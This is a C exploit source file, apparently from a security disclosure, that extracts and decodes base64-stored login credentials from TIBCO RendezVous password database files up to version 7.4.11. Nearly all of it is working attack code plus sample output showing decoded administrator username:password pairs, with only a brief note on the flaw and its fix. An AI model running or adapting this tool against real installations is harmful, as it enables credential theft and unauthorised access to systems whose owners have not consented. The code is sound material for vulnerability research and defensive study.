/*
Exploit: TIBCO RendezVous local password extractor version <=7.4.11
Affected products: Tibco RendezOVous version <=7.4.11
Author: Andres Tarasco Acuña (atarasco @ sia.es)
Advisory: http://www.514.es
Status: Vendor notifification
Timeline:
----------------
Discovered: who cares?
Exploit coded: xxxxxxxxxxx
Vendor Notified: xxxxxxxxx
Vendor patch: xxxxxxxxxxxx
Public Disclosure: xxxxxxxDescription:
Tibco products stores login and passwords in base64 without crypting them. Password
file is also accesible for everyone (at least under win32 enviroment).
Fix: Add restrictive ACLS to avoid data leak
D:\Programación\tibco>tibco.exe c:\rvrd.db
Tibco RendezVous Password Dumper
Affected versions <=v7.4.11
Author: Andres Tarasco ( atarasco @ sia.es)
Url: http://www.514.es
[+] Tibco Logfile Opened (44068 bytes)
[+] Password Found at offset: 0xe53 (29 bytes)
Base64: QWRtaW5pc3RyYXRvcjpBQUFBQUE=
Decoded: Administrator:AAAAAA
[+] Password Found at offset: 0xe8a (17 bytes)
Base64: QWRtaW46ZnV4b3I=
Decoded: Admin:fuxor
[+] Password Found at offset: 0x104b (17 bytes)
Base64: YWRtaW46dGVzdA==
Decoded: admin:test
[+] Password Found at offset: 0x108a (17 bytes)
Base64: QWRtaW46ZnV4b3I=
Decoded: Admin:fuxor
[+] Password Found at offset: 0x10b5 (17 bytes)
Base64: YWRtaW46bWFzdGVy
Decoded: admin:master
*/
#include <stdio.h>
#include <windows.h>
#define DECODE64(c) (isascii(c) ? base64val[c] : -1)
static const char base64val[] = {
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63,
52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1,
-1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1,
-1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1
};
int Base64Decode( char* out, const char* in, unsigned long size )
{
int len = 0;
register unsigned char digit1, digit2, digit3, digit4;
if (in[0] == '+' && in[1] == ' ')
in += 2;
if (*in == '\r')
return(0);
do {
digit1 = in[0];
if (DECODE64(digit1) == -1)
return(-1);
digit2 = in[1];
if (DECODE64(digit2) == -1)
return(-1);
digit3 = in[2];
if (digit3 != '=' && DECODE64(digit3) == -1)
return(-1);
digit4 = in[3];
if (digit4 != '=' && DECODE64(digit4) == -1)
return(-1);
in += 4;
*out++ = (DECODE64(digit1) << 2) | (DECODE64(digit2) >> 4);
++len;
if (digit3 != '=')
{
*out++ = ((DECODE64(digit2) << 4) & 0xf0) | (DECODE64(digit3) >> 2);
++len;
if (digit4 != '=')
{
*out++ = ((DECODE64(digit3) << 6) & 0xc0) | DECODE64(digit4);
++len;
}
}
} while (*in && *in != '\r' && digit4 != '=');
return (len);
}
/******************************************************************************/
void main (int argc,char *argv[]) {
DWORD size,i,read;
int port;
char *buffer,l,j,a;
char base64pass[0xff],pass[0xff];
unsigned char data[9] = {0x73, 0x65, 0x72, 0x70, 0x61, 0x73, 0x73, 0x00, 0x08};
HANDLE f;
int total=0;
printf("Tibco RendezVous Password Dumper\n");
printf("Author: Andres Tarasco ( atarasco @ sia.es)\n");
printf("Url: http://www.514.es\n\n");
if (argc!=2) {
printf("Usage: Tibco.exe c:\\rvrd.db\n\n");
exit(1);
}
f=CreateFile(argv[1],GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE , NULL, OPEN_EXISTING, 0, NULL);
if (f!=INVALID_HANDLE_VALUE) {
size=GetFileSize(f,NULL);
if (size>0) {
printf("[+] Tibco Logfile Opened (%i bytes)\n",size);
buffer=(char *)malloc(size);
ReadFile(f, &buffer[0], size, &read, NULL);
for(i=0;i<size-sizeof(data);i++) {
if (memcmp(&buffer[i],&data[0],sizeof(data))==0) {
total++;
l=buffer[i+sizeof(data)];
printf("[+] Password Found at offset: 0x%x (%i bytes)\n",i,l);
memset(base64pass,'\0',sizeof(pass));
memcpy(&base64pass[0],&buffer[i+sizeof(data)+1],l);
printf(" Base64: %s\n",base64pass);
j=Base64Decode( pass, base64pass, l );
pass[j]='\0';
printf(" Decoded: %s\n\n",pass);
}
}
if (total==0) {
printf("[+] Password not set: Administrator / NULL\n");
}
}
} else {
printf("[-] UNABLE TO %s\n",argv[1]);
}
return(total);
}
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